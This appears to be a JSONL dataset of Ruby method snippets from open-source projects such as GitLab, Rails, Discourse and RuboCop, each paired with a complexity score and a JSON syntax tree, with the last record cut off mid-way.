{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/endpoint_attributes.rb","start_line":19,"raw_source":"def feature_category_for_action(action)\n category = endpoint_attributes.attribute_for_action(action, :feature_category)\n category || superclass_feature_category_for_action(action)\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_category_for_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoint_attributes\"]},\"attribute_for_action\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"feature_category\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[null,\"superclass_feature_category_for_action\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}","id":"3c939199-01bb-425c-b4a4-97ebe1545e3f"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/vat_price_calculation.rb","start_line":44,"raw_source":"def round_to_two_places(amount)\n BigDecimal(amount.to_s).round(2, BigDecimal::ROUND_HALF_UP)\n end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"round_to_two_places\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amount\"]},\"to_s\"]}]},\"round\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BigDecimal\"]},\"ROUND_HALF_UP\"]}]}]}","id":"efd05ec3-39af-4960-bcdb-0d05c601350f"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":269,"raw_source":"def matches?(_kind, _filter)\n @kind == _kind && filter == _filter\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_kind\"]},{\"type\":\"arg\",\"children\":[\"_filter\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kind\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"_kind\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"_filter\"]}]}]}]}","id":"fcd69c17-bb1f-42e3-b86a-06ebf5ad1492"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/virtual_column_test.rb","start_line":30,"raw_source":"def teardown\n @connection.drop_table :virtual_columns, if_exists: true\n VirtualColumn.reset_column_information\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"virtual_columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"reset_column_information\"]}]}]}","id":"77955ca8-c6d0-4845-b63d-2dad1ffcbfff"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/portals/articles_controller.rb","start_line":79,"raw_source":"def permitted_params\n params.permit(:slug, :category_slug, :locale, :id, :article_slug)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"category_slug\"]},{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"article_slug\"]}]}]}","id":"b25e6c80-c756-463c-8ad8-3c226c926087"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/db/migrate/20250807042048_dedupe_event_schedules.rb","start_line":6,"raw_source":"def up\n execute <<~SQL\n CREATE INDEX IF NOT EXISTS\n idx_discourse_calendar_post_event_dates_event_id_starts_at_temp\n ON discourse_calendar_post_event_dates (event_id, starts_at)\n SQL\n\n max_id = nil\n ActiveRecord::Base.transaction do\n execute \"LOCK TABLE discourse_calendar_post_event_dates IN SHARE MODE\"\n result = DB.query_single(\"SELECT MAX(id) as max_id FROM discourse_calendar_post_event_dates\")\n max_id = result.first || 0\n\n execute <<~SQL\n CREATE UNIQUE INDEX IF NOT EXISTS\n idx_discourse_calendar_post_event_dates_event_id_starts_at_new\n ON discourse_calendar_post_event_dates (event_id, starts_at)\n WHERE id > #{max_id}\n SQL\n end\n\n loop do\n result = execute(<<~SQL)\n DELETE FROM discourse_calendar_post_event_dates\n WHERE id IN (\n SELECT id FROM (\n SELECT id,\n ROW_NUMBER() OVER (\n PARTITION BY event_id, starts_at\n ORDER BY id ASC\n ) as rn\n FROM discourse_calendar_post_event_dates\n WHERE (event_id, starts_at) IN (\n SELECT event_id, starts_at\n FROM discourse_calendar_post_event_dates\n GROUP BY event_id, starts_at\n HAVING COUNT(*) > 1\n )\n ) duplicates\n WHERE rn > 1\n LIMIT 100000\n )\n SQL\n\n deleted_count = result.cmd_tuples || 0\n break if deleted_count == 0\n puts \"Deleted #{deleted_count} duplicate records\"\n end\n\n ActiveRecord::Base.transaction do\n execute <<~SQL\n DROP INDEX IF EXISTS\n idx_discourse_calendar_post_event_dates_event_id_starts_at_new\n SQL\n\n execute <<~SQL\n CREATE UNIQUE INDEX\n idx_discourse_calendar_post_event_dates_event_id_starts_at_unique\n ON discourse_calendar_post_event_dates (event_id, starts_at)\n SQL\n end\n\n execute <<~SQL\n DROP INDEX IF EXISTS\n idx_discourse_calendar_post_event_dates_event_id_starts_at_temp\n SQL\n end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE INDEX IF NOT EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"idx_discourse_calendar_post_event_dates_event_id_starts_at_temp\\n\"]},{\"type\":\"str\",\"children\":[\"ON discourse_calendar_post_event_dates (event_id, starts_at)\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"LOCK TABLE discourse_calendar_post_event_dates IN SHARE MODE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT MAX(id) as max_id FROM discourse_calendar_post_event_dates\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE UNIQUE INDEX IF NOT EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"idx_discourse_calendar_post_event_dates_event_id_starts_at_new\\n\"]},{\"type\":\"str\",\"children\":[\"ON discourse_calendar_post_event_dates (event_id, starts_at)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM discourse_calendar_post_event_dates\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id IN (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT id FROM (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT id,\\n\"]},{\"type\":\"str\",\"children\":[\" ROW_NUMBER() OVER (\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION BY event_id, starts_at\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY id ASC\\n\"]},{\"type\":\"str\",\"children\":[\" ) as rn\\n\"]},{\"type\":\"str\",\"children\":[\" FROM discourse_calendar_post_event_dates\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE (event_id, starts_at) IN (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT event_id, starts_at\\n\"]},{\"type\":\"str\",\"children\":[\" FROM discourse_calendar_post_event_dates\\n\"]},{\"type\":\"str\",\"children\":[\" GROUP BY event_id, starts_at\\n\"]},{\"type\":\"str\",\"children\":[\" HAVING COUNT(*) > 1\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]},{\"type\":\"str\",\"children\":[\" ) duplicates\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE rn > 1\\n\"]},{\"type\":\"str\",\"children\":[\" LIMIT 100000\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_count\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"cmd_tuples\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_count\"]}]},{\"type\":\"str\",\"children\":[\" duplicate records\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"idx_discourse_calendar_post_event_dates_event_id_starts_at_new\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE UNIQUE INDEX\\n\"]},{\"type\":\"str\",\"children\":[\"idx_discourse_calendar_post_event_dates_event_id_starts_at_unique\\n\"]},{\"type\":\"str\",\"children\":[\"ON discourse_calendar_post_event_dates (event_id, starts_at)\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP INDEX IF EXISTS\\n\"]},{\"type\":\"str\",\"children\":[\"idx_discourse_calendar_post_event_dates_event_id_starts_at_temp\\n\"]}]}]}]}]}","id":"70039652-add4-4aaf-a644-862226049bee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/supply_chain/attestation_uploader.rb","start_line":22,"raw_source":"def default_store\n object_store_enabled? ? ObjectStorage::Store::REMOTE : ObjectStorage::Store::LOCAL\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_store_enabled?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"Store\"]},\"REMOTE\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"Store\"]},\"LOCAL\"]}]}]}","id":"3f1b0533-f515-4c75-b724-9b489d3d23bc"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/versions/filters/name_filter.rb","start_line":59,"raw_source":"def sql_value\n case operator\n when \"=\", \"!\"\n values.map { |val| self.class.connection.quote_string(val.downcase) }.join(\",\")\n when \"**\", \"~\", \"!~\"\n values.first.downcase\n end\n end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"connection\"]},\"quote_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"downcase\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"str\",\"children\":[\"~\"]},{\"type\":\"str\",\"children\":[\"!~\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]},\"downcase\"]}]},null]}]}","id":"b96609c7-e56b-492a-a2e2-da8d3b7bee42"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/events/base_importer.rb","start_line":55,"raw_source":"def backticked_username(user)\n \"`@#{user&.login || 'ghost'}`\"\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"backticked_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"login\"]},{\"type\":\"str\",\"children\":[\"ghost\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}","id":"c6cc7fbf-3c36-47ac-b0f8-cbdfc6e95cd9"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/ci_mixin/processing.rb","start_line":204,"raw_source":"def publish_metrics(metrics)\n metrics.each_value do |metric|\n resource = metric.delete(:resource)\n\n metric[:parent_ems_type] = resource.ext_management_system&.class&.ems_type\n metric[:parent_ems_uid] = resource.ext_management_system&.uid_ems\n\n metric[:resource_type] = resource.class.base_class.name\n metric[:resource_id] = resource.id\n\n metric[:resource_manager_ref] = resource.ems_ref if resource.respond_to?(:ems_ref)\n metric[:resource_manager_uid] = resource.uid_ems if resource.respond_to?(:uid_ems)\n\n MiqQueue.messaging_client(\"metrics_capture\")&.publish_topic(\n :service => \"manageiq.metrics\",\n :sender => resource.ext_management_system&.id,\n :event => \"metrics\",\n :payload => metric\n )\n end\n rescue => err\n _log.warn(\"Failed to publish metrics: #{err}\")\n _log.log_backtrace(err)\n end","complexity_score":47.4,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_metrics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metrics\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"parent_ems_type\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"ext_management_system\"]},\"class\"]},\"ems_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"parent_ems_uid\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"ext_management_system\"]},\"uid_ems\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_manager_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"ems_ref\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"uid_ems\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_manager_uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"uid_ems\"]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"messaging_client\",{\"type\":\"str\",\"children\":[\"metrics_capture\"]}]},\"publish_topic\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"manageiq.metrics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sender\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"ext_management_system\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"metrics\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"metric\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to publish metrics: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"log_backtrace\",{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},null]}]}","id":"744a7c68-872c-4c63-8d90-e57908c4a94c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/merge_request_query_differ.rb","start_line":221,"raw_source":"def initialize(logger)\n @logger = logger || Logger.new($stdout)\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logger\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]}]}]}","id":"c47f8669-1aca-4e0c-b329-fd48e0c674fd"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/argv_scrubber_test.rb","start_line":127,"raw_source":"def test_new_rc_option\n file = Tempfile.new \"myrcfile\"\n file.puts \"--hello-world\"\n file.flush\n\n message = nil\n scrubber = Class.new(ARGVScrubber) {\n define_method(:puts) { |msg| message = msg }\n }.new [\"new\", \"--rc=#{file.path}\"]\n args = scrubber.prepare!\n assert_equal [\"--hello-world\"], args\n assert_match \"hello-world\", message\n assert_match file.path, message\n ensure\n file.close\n file.unlink\n end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_new_rc_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"myrcfile\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"str\",\"children\":[\"--hello-world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"flush\"]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"scrubber\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"ARGVScrubber\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"puts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"new\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--rc=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scrubber\"]},\"prepare!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--hello-world\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"hello-world\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"unlink\"]}]}]}]}","id":"73b82d38-dd27-47b9-a92b-2309a4ed6671"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_self_assignment.rb","start_line":77,"raw_source":"def on_send(node)\n return unless node.assignment_method?\n return unless redundant_assignment?(node)\n\n message = format(MSG, method_name: node.first_argument.method_name)\n add_offense(node.loc.operator, message: message) do |corrector|\n corrector.remove(correction_range(node))\n end\n end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"assignment_method?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redundant_assignment?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]},\"method_name\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"operator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"correction_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}","id":"7b17f1b9-14df-417e-ba56-36c859f33657"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/comment_annotation.rb","start_line":102,"raw_source":"def first_comment_line?(comments, index)\n index.zero? || comments[index - 1].loc.line < comments[index].loc.line - 1\n end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"first_comment_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comments\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"zero?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"loc\"]},\"line\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"loc\"]},\"line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"68744f62-165f-44b1-96f5-791b8e6c3def"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/external_upload_helpers.rb","start_line":33,"raw_source":"def generate_presigned_put\n RateLimiter.new(\n current_user,\n \"generate-presigned-put-upload-stub\",\n SiteSetting.max_presigned_put_per_minute,\n 1.minute,\n ).performed!\n\n file_name = params.require(:file_name)\n file_size = params.require(:file_size).to_i\n type = params.require(:type)\n\n begin\n validate_before_create_direct_upload(\n file_name: file_name,\n file_size: file_size,\n upload_type: type,\n )\n rescue ExternalUploadValidationError => err\n return render_json_error(err.message, status: 422)\n end\n\n external_upload_data =\n ExternalUploadManager.create_direct_upload(\n current_user: current_user,\n file_name: file_name,\n file_size: file_size,\n upload_type: type,\n metadata: parse_allowed_metadata(params[:metadata]),\n )\n\n render json: external_upload_data\n 